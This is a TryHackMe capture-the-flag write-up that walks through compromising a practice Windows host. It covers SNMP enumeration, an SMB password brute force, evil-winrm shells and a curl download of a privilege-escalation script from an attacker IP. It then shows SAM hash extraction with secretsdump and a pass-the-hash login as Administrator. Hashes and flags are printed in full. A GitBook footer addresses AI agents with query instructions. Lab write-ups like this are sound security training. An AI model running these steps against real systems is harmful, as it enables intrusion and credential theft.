> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-year-of-the-owl.md). # THM - Year Of The Owl ## Enumeration and Foothold ### NMAP ```bash PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10) |_http-title: Year of the Owl | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.10 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10) |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.10 | ssl-cert: Subject: commonName=localhost | Issuer: commonName=localhost | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2009-11-10T23:48:47 | Not valid after: 2019-11-08T23:48:47 | MD5: a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0 |_SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_ssl-date: TLS randomness does not represent time |_http-title: Year of the Owl | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds? 3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized) 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2026-02-11T18:32:07+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=year-of-the-owl | Issuer: commonName=year-of-the-owl | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-02-10T18:03:55 | Not valid after: 2026-08-12T18:03:55 | MD5: 2831:e25f:f79c:4834:1f69:e61e:e2ca:9d9e |_SHA-1: bc8e:bda0:c9b0:4039:b79c:e805:af3f:68bc:7214:de97 | rdp-ntlm-info: | Target_Name: YEAR-OF-THE-OWL | NetBIOS_Domain_Name: YEAR-OF-THE-OWL | NetBIOS_Computer_Name: YEAR-OF-THE-OWL | DNS_Domain_Name: year-of-the-owl | DNS_Computer_Name: year-of-the-owl | Product_Version: 10.0.17763 |_ System_Time: 2026-02-11T18:31:27+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 161/udp open|filtered snmp 162/udp open|filtered snmptrap Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (92%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Windows Server 2019 (92%), Microsoft Windows 10 1607 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 3 hops TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ``` ### SNMP ```bash ┌──(ajay㉿kali)-[~/Downloads] └─$ onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 10.81.151.45 Scanning 1 hosts, 50 communities 10.81.151.45 [openview] Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free) ``` `10.81.151.45` is running SNMP with the community string **`openview`**. ```bash ┌──(ajay㉿kali)-[~/Downloads] └─$ snmpwalk -v2c -c openview 10.81.151.45 1.3.6.1.4.1.77.1.2.25 iso.3.6.1.4.1.77.1.2.25.1.1.5.71.117.101.115.116 = STRING: "Guest" iso.3.6.1.4.1.77.1.2.25.1.1.6.74.97.114.101.116.104 = STRING: "Jareth" iso.3.6.1.4.1.77.1.2.25.1.1.13.65.100.109.105.110.105.115.116.114.97.116.111.114 = STRING: "Administrator" iso.3.6.1.4.1.77.1.2.25.1.1.14.68.101.102.97.117.108.116.65.99.99.111.117.110.116 = STRING: "DefaultAccount" iso.3.6.1.4.1.77.1.2.25.1.1.18.87.68.65.71.85.116.105.108.105.116.121.65.99.99.111.117.110.116 = STRING: "WDAGUtilityAccount" ``` We got usernames in snmp server lets use them against any of the services already available fro brute force. ```bash ──(ajay㉿kali)-[~] └─$ nxc smb 10.81.151.45 -u Jareth -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding SMB 10.81.151.45 445 YEAR-OF-THE-OWL [*] Windows 10 / Server 2019 Build 17763 (name:YEAR-OF-THE-OWL) (domain:year-of-the-owl) (signing:False) (SMBv1:False) SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:123456 STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:12345 STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:123456789 STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:password STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:iloveyou STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:princess STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:1234567 STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:rockyou STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:mustang STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:isabel STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:natalie STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:cuteako STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:javier STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:789456123 STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [-] year-of-the-owl\Jareth:123654 STATUS_LOGON_FAILURE SMB 10.81.151.45 445 YEAR-OF-THE-OWL [+] year-of-the-owl\Jareth:sarah ``` `Jareth:sarah` ## Shell as Jareth ```bash (ajay㉿kali)-[~] └─$ evil-winrm -i 10.81.151.45 -u Jareth -p sarah Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Jareth\Documents> ``` ```bash *Evil-WinRM* PS C:\Users\Jareth\Desktop> dir Directory: C:\Users\Jareth\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/18/2020 2:21 AM 80 user.txt *Evil-WinRM* PS C:\Users\Jareth\Desktop> cat user.txt THM{Y2I0NDJjODY2NTc2YmI2Y2U4M2IwZTBl} *Evil-WinRM* PS C:\Users\Jareth\Desktop> ``` 
Evil-WinRM* PS C:\Users\JAreth\Desktop> curl <http://192.168.170.217:8000/PrivescCheck.ps1> -OutFile PrivescCheck.ps1 
*Evil-WinRM* PS C:\Users\JAreth\Desktop> dir

    Directory: C:\Users\JAreth\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/11/2026   7:28 PM         227170 PrivescCheck.ps1
-a----        9/18/2020   2:21 AM             80 user.txt
``` Evil-WinRM* PS C:\Users\JAreth\Desktop> ./PrivescCheck.ps1 ``` PrivescCheck revealed that there are interesting fields in the users recycle bin. ```bash *Evil-WinRM* PS C:\USers\Jareth\Documents> Get-ChildItem -Path 'C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001' -Recurse -Force Directory: C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a-hs- 9/18/2020 2:14 AM 129 desktop.ini -a---- 9/18/2020 7:28 PM 49152 sam.bak -a---- 9/18/2020 7:28 PM 17457152 system.bak *Evil-WinRM* PS C:\USers\Jareth\Documents> ``` When listing the items of the recycle bin it says access denied as it is asking for the admin file so to ask for current user bin we supply the sid too. ```bash *Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001> cp sam.bak C:\Users\Jareth\Desktop\ *Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001> cp system.bak C:\Users\Jareth\Desktop\ *Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001> cd C:\Users\Jareth\Desktop\ *Evil-WinRM* PS C:\Users\Jareth\Desktop> dir Directory: C:\Users\Jareth\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/11/2026 7:28 PM 227170 PrivescCheck.ps1 -a---- 9/18/2020 7:28 PM 49152 sam.bak -a---- 9/18/2020 7:28 PM 17457152 system.bak -a---- 9/18/2020 2:21 AM 80 user.txt *Evil-WinRM* PS C:\Users\Jareth\Desktop> download sam.bak Info: Downloading C:\Users\Jareth\Desktop\sam.bak to sam.bak Info: Download successful! *Evil-WinRM* PS C:\Users\Jareth\Desktop> download system.bak Info: Downloading C:\Users\Jareth\Desktop\system.bak to system.bak Info: Download successful! ``` ```bash ┌──(ajay㉿kali)-[~] └─$ ls Desktop Documents Downloads Music Pictures Public reports sam.bak system.bak Templates Tools Videos ┌──(ajay㉿kali)-[~] └─$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0xd676472afd9cc13ac271e26890b87a8c [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:6bc99ede9edcfecf9662fb0c0ddcfa7a::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:39a21b273f0cfd3d1541695564b4511b::: Jareth:1001:aad3b435b51404eeaad3b435b51404ee:5a6103a83d2a94be8fd17161dfd4555a::: [*] Cleaning up... ``` ## Shell as Admin ```bash ──(ajay㉿kali)-[~] └─$ evil-winrm -i 10.81.151.45 -u Administrator -H 6bc99ede9edcfecf9662fb0c0ddcfa7a Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami year-of-the-owl\administrator *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/18/2020 2:19 AM 80 admin.txt *Evil-WinRM* PS C:\Users\Administrator\Desktop> more admin.txt THM{YWFjZTM1MjFiZmRiODgyY2UwYzZlZWM2} *Evil-WinRM* PS C:\Users\Administrator\Desktop> ``` ## Usage Of Recycle Bin ```bash In an Evil-WinRM (PowerShell) session, the Windows Recycle Bin is not a normal folder. Each user has a hidden, protected directory under $Recycle.Bin with a SID-named subfolder. Here’s how to read it properly. 1️⃣ Locate the Recycle Bin folders Run this first: Get-ChildItem C:\$Recycle.Bin -Force You’ll see folders like: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1001 Each SID = one user. 2️⃣ Enter your user’s SID folder cd C:\$Recycle.Bin\S-1-5-21-XXXXX-XXXXX-XXXXX-1001 List contents: Get-ChildItem -Force You’ll see files like: $I9F3.tmp $R9F3.tmp ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-year-of-the-owl.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.